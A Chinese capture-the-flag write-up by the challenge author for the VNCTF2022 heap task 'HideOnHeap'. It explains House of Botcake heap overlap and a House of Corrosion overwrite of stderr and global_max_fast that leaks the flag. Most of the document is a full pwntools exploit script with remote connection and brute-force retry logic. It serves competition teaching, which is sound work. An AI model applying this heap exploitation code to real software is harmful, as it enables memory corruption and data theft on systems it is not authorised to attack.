HideOnHeap
1.构造出堆重叠
题目白给了一个 double free 的机会,但是由于 free 中清空了 size 数组,所以无法在 free 之后修改堆块。这里考虑用 House of botcake 的方法来构造出堆重叠可以 UAF,简单的说就是让堆块同时存在于 Unsorted Bin 和 Tcache 中,这样申请取回时可以申请到两个相同地址的堆块。
2.泄露 Flag
题目中没有 show 函数,大家可能会想到用 IO leak,但是在本题中,也同样不存在 IO leak 所需的 IO 函数。
所幸的是,在题目初始化的环节中,已经把 flag 的内容读入到了堆中,那么我们所需要的就是泄露这个堆块上的内容。
这个泄露的方法有很多,我考虑的是利用 __malloc_assert 中的 __fxprintf ,这个函数是一个 IO 函数,并且进入内部发现在第一个参数传参为 NULL 时,会变化成 stderr,所以可以想到利用 伪造 stderr 结构来泄露堆块上的数据。
但是我无法泄露堆空间的指针,就算是我通过爆破 1/16 能够申请到 stderr 空间,我也没有办法往里面写入堆空间地址。
这里又可以考虑使用 House of Corrosion,可以参考我的这篇文章 House of Corrosion 原理及应用。
我们可以用 House of Corrosion 来打 stderr,并且同时设置_flags、_IO_write_base、_IO_write_ptr、_IO_write_end 这四个位置写堆地址。
其中最需要注意的就是 _flags 的内容,由于写入的堆块地址可控的只有末三位,但是如果要通过 stdout 来 leak,需要在_flags 要求满足以下三个条件,其中条件 1 和 2 都可以通过构造来解决,而条件 3 只能通过堆地址的随机化来碰撞。
_flags & _IO_MAGIC(0xFBAD0000) != 0 _flags & _IO_CURRENTLY_PUTTING(0x800) != 0 _flags & _IO_IS_APPENDING(0x1000) != 0
- 在满足了_flags 的条件后,然后再调用能用到 IO 的函数,就可以泄露堆块上 _IO_write_base 至 _IO_write_ptr 这一段,所以至少需要两个不同位置的堆块来写入,这部分区间的内容上如果恰好有 libc 地址则即可实现泄露 libc。
- 本方法的可行性主要在于这几个需要覆盖的地址都在 fastbinsY 之后,而且我们溢出过程中需要计算 SIZE 的关键变量是两个 libc 地址的差值 delta,在这个求差的过程中就把 libc 地址的随机化给抵消了,使得我们无需 leak 也可以做到写入多个地址。
- 这个攻击的思路目前应该还没有师傅提出过,这里的堆地址随机化爆破概率乘上利用部分覆盖爆破打 global_max_fast 的概率,应该是 1 / 32,实用性很强。
不过在本题中,由于是给 VNCTF2022 出题,所以我降低了难度,允许操作堆块实现任意申请,并且把申请堆块的数量限制放的很宽松,希望大家把更多心思放在泄露思路上。在这样的情况下,直接申请到 stderr 那部分的内容修改 flags,并部分覆盖 _IO_write_base 即可。需要注意的是,由于往 stderr 写入的堆块地址在储存 flag 地址的下面,为了避免堆空间的 1/16 爆破,最好让操作的堆块地址与写入 flag 的堆块地址相邻(不超过 0x100 字节),使得只需覆盖末尾字节即可。
3.EXP
经过一些思考,没能想到本题中的非预期,如果存在能够 getshell 的打法,希望可以联系我一起交流学习~
# encoding: utf-8
from pwn import *
elf = None
libc = None
file_name = "./HideOnHeap"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
if context.binary == None:
context.binary = dic + file_name
assert isinstance(context.binary, ELF)
libc = None
for lib in context.binary.libs:
if '/libc.' in lib or '/libc-' in lib:
libc = ELF(lib, checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
return s.process([file_name])
else:
if ":" in sys.argv[1]:
r = sys.argv[1].split(':')
return remote(r[0], int(r[1]))
return remote(sys.argv[1], int(sys.argv[2]))
else:
return process([file_name])
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
if info == None:
info = 'libc_base:\t'
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
try:
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
except EOFError:
return ""
def get_gdb(sh, addr=None, gdbscript=None, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript)
elif addr is not None:
gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
else:
gdb.attach(sh)
if stop:
pause()
def Attack(target=None, elf=None, libc=None):
global sh
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 32:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
sh.close()
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def choice(idx):
sh.sendlineafter("Choice:", str(idx))
def add(size):
choice(1)
sh.sendlineafter("Size:", str(size))
def edit(idx, content):
choice(2)
sh.sendlineafter("Index:", str(idx))
sh.sendafter("Content:", str(content))
def delete(idx):
choice(3)
sh.sendlineafter("Index:", str(idx))
def pwn(sh, elf, libc):
context.log_level = "debug"
add(0x88) # prev 0
add(0x88) # 1
for i in range(7):
add(0x88) #2 - 8
add(0x3F0) # 9
add(0x3F0) # 10
for i in range(7):
add(0x3F0) #11 - 17
edit(2, '6' * 0x20 + '\x00' * 8 + p64(0x21))
edit(13, '5' * 0x30 + '\x00' * 8 + p64(0x21) + '\x00' * 0x8 + p64(0x21) + '\x00' * 0x8 + p64(0x21))
for i in range(2, 9):
delete(i)
delete(1)
delete(0)
add(0x88) #0
delete(1)
for i in range(7):
add(0x88) #1 - 7
add(0x118) #8 overlapping 1
for i in range(11, 18):
delete(i)
delete(10)
delete(9)
add(0x3F0) #9
delete(10)
for i in range(7):
add(0x3F0) #10-16
add(0x3F0) #17
add(0x3F0) #18 == 10
for i in range(7):
delete(1)
edit(8, '\x00' * 0x88 + p64(0x91) + '\x00' * 0x10)
for i in range(7):
delete(10)
edit(18, '\x00' * 0x10)
delete(1)
delete(10)
add(0x58) #1
add(0x18) #10
add(0x3D8) #19
add(0x18) #20
edit(8, '\x00' * 0x88 + p64(0x91) + '\x80\xdb')
add(0x88) # 21
add(0x88) # 22 global_max_fast
edit(18, '\xc0\xb5')
add(0x3F0) # 23
add(0x3F0) # 24 stderr
edit(22, '\xFF' * 8) # change global_max_fast
edit(8, '\x00' * 0x88 + p64(0x14C1))
delete(21)
edit(8, '\x00' * 0x88 + p64(0x14D1))
delete(21)
edit(8, '\x00' * 0x88 + p64(0x14E1))
delete(21)
#change main_arena->top
for i in range(8):
edit(8, '\x00' * 0x88 + p64(0xC1) + '\x00' * 0x10)
delete(21)
edit(24, p64(0xfbad1800) + '\x00' * 0x19)
edit(22, p64(0x80))
#gdb.attach(sh)
add(0x300)
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(elf=get_file(), libc=get_libc())
sh.close()
if flag != "":
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())